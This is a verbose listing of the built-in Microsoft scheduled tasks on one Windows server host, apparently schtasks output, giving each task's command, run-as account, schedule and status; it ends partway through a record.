Last Run Time: 8/19/2020 1:13:18 PM
Last Result: 0
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: Install language components that match the user's language list.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: No Start On Batteries
Run As User: INTERACTIVE
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 01:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: At idle time
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\Location
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Location\Notifications
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: N/A
Task To Run: %windir%\System32\LocationNotificationWindows.exe
Start In: N/A
Comment: Location Notification
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: Authenticated Users
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: Disabled
Schedule: Scheduling data is not available in this format.
Schedule Type: Undefined
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Location\WindowsActionDialog
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: N/A
Task To Run: %windir%\System32\WindowsActionDialog.exe
Start In: N/A
Comment: Location Notification
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: Authenticated Users
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: Disabled
Schedule: Scheduling data is not available in this format.
Schedule Type: Undefined
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\Maintenance
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Maintenance\WinSAT
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: Microsoft
Task To Run: COM handler
Start In: N/A
Comment: Measures a system's performance and capabilities
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: Administrators
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 00:30:00
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\Maps
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Maps\MapsToastTask
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: This task shows various Map related toasts
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: INTERACTIVE
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 00:00:05
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Maps\MapsUpdateTask
Next Run Time: N/A
Status: Disabled
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: This task checks for updates to maps which you have downloaded for offline use. Disabling this task will prevent Windows from notifying you of updated maps.
Scheduled Task State: Disabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: NETWORK SERVICE
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 00:00:40
Schedule: Scheduling data is not available in this format.
Schedule Type: One Time Only, Hourly
Start Time: 12:00:00 AM
Start Date: 10/21/2014
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: 24 Hour(s), 0 Minute(s)
Repeat: Until: Time: None
Repeat: Until: Duration: Disabled
Repeat: Stop If Still Running: Disabled
Folder: \Microsoft\Windows\MemoryDiagnostic
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\MemoryDiagnostic\ProcessMemoryDiagnosticEvents
Next Run Time: N/A
Status: Disabled
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: Schedules a memory diagnostic in response to system events.
Scheduled Task State: Disabled
Idle Time: Only Start If Idle for minutes, If Not Idle Retry For minutes Stop the task if Idle State end
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: Administrators
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 02:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: When an event occurs
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\MemoryDiagnostic\ProcessMemoryDiagnosticEvents
Next Run Time: N/A
Status: Disabled
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: Schedules a memory diagnostic in response to system events.
Scheduled Task State: Disabled
Idle Time: Only Start If Idle for minutes, If Not Idle Retry For minutes Stop the task if Idle State end
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: Administrators
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 02:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: When an event occurs
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\MemoryDiagnostic\ProcessMemoryDiagnosticEvents
Next Run Time: N/A
Status: Disabled
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: Schedules a memory diagnostic in response to system events.
Scheduled Task State: Disabled
Idle Time: Only Start If Idle for minutes, If Not Idle Retry For minutes Stop the task if Idle State end
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: Administrators
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 02:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: When an event occurs
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\MemoryDiagnostic\ProcessMemoryDiagnosticEvents
Next Run Time: N/A
Status: Disabled
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: Schedules a memory diagnostic in response to system events.
Scheduled Task State: Disabled
Idle Time: Only Start If Idle for minutes, If Not Idle Retry For minutes Stop the task if Idle State end
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: Administrators
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 02:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: When an event occurs
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\MemoryDiagnostic\RunFullMemoryDiagnostic
Next Run Time: N/A
Status: Disabled
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: Detects and mitigates problems in physical memory (RAM).
Scheduled Task State: Disabled
Idle Time: Only Start If Idle for minutes, If Not Idle Retry For minutes Stop the task if Idle State end
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: Administrators
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 02:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\Mobile Broadband Accounts
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Mobile Broadband Accounts\MNO Metadata Parser
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: Microsoft
Task To Run: %SystemRoot%\System32\MbaeParserTask.exe
Start In: N/A
Comment: Mobile Broadband Account Experience Metadata Parser
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 00:03:00
Schedule: Scheduling data is not available in this format.
Schedule Type: When an event occurs
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\MUI
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\MUI\LPRemove
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 8/19/2020 1:13:19 PM
Last Result: 0
Author: Microsoft Corporation
Task To Run: %windir%\system32\lpremove.exe
Start In: N/A
Comment: Launch language cleanup tool
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 09:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\Multimedia
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Multimedia\SystemSoundsService
Next Run Time: N/A
Status: Disabled
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: N/A
Task To Run: COM handler
Start In: N/A
Comment: System Sounds User Mode Agent
Scheduled Task State: Disabled
Idle Time: Disabled
Power Management:
Run As User: Users
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: Disabled
Schedule: Scheduling data is not available in this format.
Schedule Type: At logon time
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\NetTrace
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\NetTrace\GatherNetworkInfo
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: Microsoft
Task To Run: %windir%\system32\gatherNetworkInfo.vbs
Start In: $(Arg1)
Comment: Network information collector
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode
Run As User: Users
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\Offline Files
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Offline Files\Background Synchronization
Next Run Time: N/A
Status: Disabled
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: This task controls periodic background synchronization of Offline Files when the user is working in an offline mode.
Scheduled Task State: Disabled
Idle Time: Disabled
Power Management:
Run As User: Authenticated Users
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 24:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: One Time Only, Hourly
Start Time: 12:00:00 AM
Start Date: 1/1/2008
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: 2 Hour(s), 0 Minute(s)
Repeat: Until: Time: None
Repeat: Until: Duration: Disabled
Repeat: Stop If Still Running: Disabled
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Offline Files\Logon Synchronization
Next Run Time: N/A
Status: Disabled
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: This task initiates synchronization of Offline Files when a user logs onto the system.
Scheduled Task State: Disabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: Authenticated Users
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 24:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: At logon time
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\PLA
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\PLA\Server Manager Performance Monitor
Next Run Time: N/A
Status: Disabled
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: Microsoft Corporation
Task To Run: %systemroot%\system32\rundll32.exe %systemroot%\system32\pla.dll,PlaHost "Server Manager Performance Monitor" "$(Arg0)"
Start In: N/A
Comment: N/A
Scheduled Task State: Disabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: Disabled
Schedule: Scheduling data is not available in this format.
Schedule Type: At system start up
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\Plug and Play
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Plug and Play\Device Install Group Policy
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 8/19/2020 12:49:49 PM
Last Result: 0
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: Device Installation Group Policy Change Handler
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 24:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: Undefined
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Plug and Play\Device Install Reboot Required
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 4/2/2023 3:22:24 AM
Last Result: 0
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: Notifies the user that Windows needs to be restarted to finish setting up a device.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: INTERACTIVE
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: Undefined
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Plug and Play\Device Install Reboot Required
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 4/2/2023 3:22:24 AM
Last Result: 0
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: Notifies the user that Windows needs to be restarted to finish setting up a device.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: INTERACTIVE
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: At logon time
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Plug and Play\Sysprep Generalize Drivers
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: Microsoft Corporation
Task To Run: %SystemRoot%\System32\drvinst.exe 6
Start In: N/A
Comment: Generalize driver state in order to prepare the system to be bootable on any hardware configuration.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\Power Efficiency Diagnostics
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Power Efficiency Diagnostics\AnalyzeSystem
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 8/19/2020 1:13:31 PM
Last Result: 0
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: This task analyzes the system looking for conditions that may cause high energy use.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 00:05:00
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\RecoveryEnvironment
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\RecoveryEnvironment\VerifyWinRE
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: Validates the Windows Recovery Environment.
Scheduled Task State: Enabled
Idle Time: Only Start If Idle for minutes, If Not Idle Retry For minutes
Power Management: No Start On Batteries
Run As User: Administrators
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 01:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\Registry
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Registry\RegIdleBackup
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 8/19/2020 1:13:19 PM
Last Result: 0
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: Registry Idle Backup Task
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: Disabled
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\Server Manager
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Server Manager\CleanupOldPerfLogs
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: Microsoft Corporation
Task To Run: %systemroot%\system32\cscript.exe /B /nologo %systemroot%\system32\calluxxprovider.vbs $(Arg0) $(Arg1) $(Arg2)
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 00:02:00
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Server Manager\ServerManager
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 8/19/2020 11:02:11 AM
Last Result: 0
Author: Microsoft Corporation
Task To Run: %windir%\system32\ServerManagerLauncher.exe
Start In: N/A
Comment: Task for launching Initial Configuration Tasks or Server Manager at logon.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode
Run As User: Administrators
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: Disabled
Schedule: Scheduling data is not available in this format.
Schedule Type: At logon time
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\Servicing
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Servicing\StartComponentCleanup
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 8/19/2020 1:13:19 PM
Last Result: 0
Author: N/A
Task To Run: COM handler
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 01:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\SharedPC
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\SharedPC\Account Cleanup
Next Run Time: N/A
Status: Disabled
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: N/A
Task To Run: %windir%\System32\rundll32.exe %windir%\System32\Windows.SharedPC.AccountManager.dll,StartMaintenance
Start In: N/A
Comment: N/A
Scheduled Task State: Disabled
Idle Time: Only Start If Idle for minutes, If Not Idle Retry For minutes Stop the task if Idle State end
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 00:30:00
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\Shell
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Shell\CreateObjectTask
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 8/19/2020 12:53:57 PM
Last Result: 0
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: Provides support for shell components that access system data
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 00:00:30
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Shell\IndexerAutomaticMaintenance
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 8/19/2020 1:13:19 PM
Last Result: 1
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: Keeps the search index up to date
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: LOCAL SERVICE
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\Software Inventory Logging
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Software Inventory Logging\Collection
Next Run Time: N/A
Status: Disabled
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: N/A
Task To Run: %systemroot%\system32\cmd.exe /d /c %systemroot%\system32\silcollector.cmd publish
Start In: N/A
Comment: N/A
Scheduled Task State: Disabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 00:10:00
Schedule: Scheduling data is not available in this format.
Schedule Type: One Time Only, Hourly
Start Time: 3:00:00 AM
Start Date: 1/1/2000
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: 1 Hour(s), 0 Minute(s)
Repeat: Until: Time: None
Repeat: Until: Duration: Disabled
Repeat: Stop If Still Running: Disabled
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Software Inventory Logging\Configuration
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 4/2/2023 3:18:51 AM
Last Result: 0
Author: N/A
Task To Run: %systemroot%\system32\cmd.exe /d /c %systemroot%\system32\silcollector.cmd configure
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 00:02:00
Schedule: Scheduling data is not available in this format.
Schedule Type: At system start up
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\SoftwareProtectionPlatform
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTaskLogon
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 4/2/2023 3:22:24 AM
Last Result: 0
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: This task restarts the Software Protection Platform service when user logon occurs
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: INTERACTIVE
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: Disabled
Schedule: Scheduling data is not available in this format.
Schedule Type: At logon time
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\SpacePort
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\SpacePort\SpaceAgentTask
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: Microsoft Corporation
Task To Run: %windir%\system32\SpaceAgent.exe
Start In: N/A
Comment: Storage Spaces Settings
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 06:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: At system start up
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
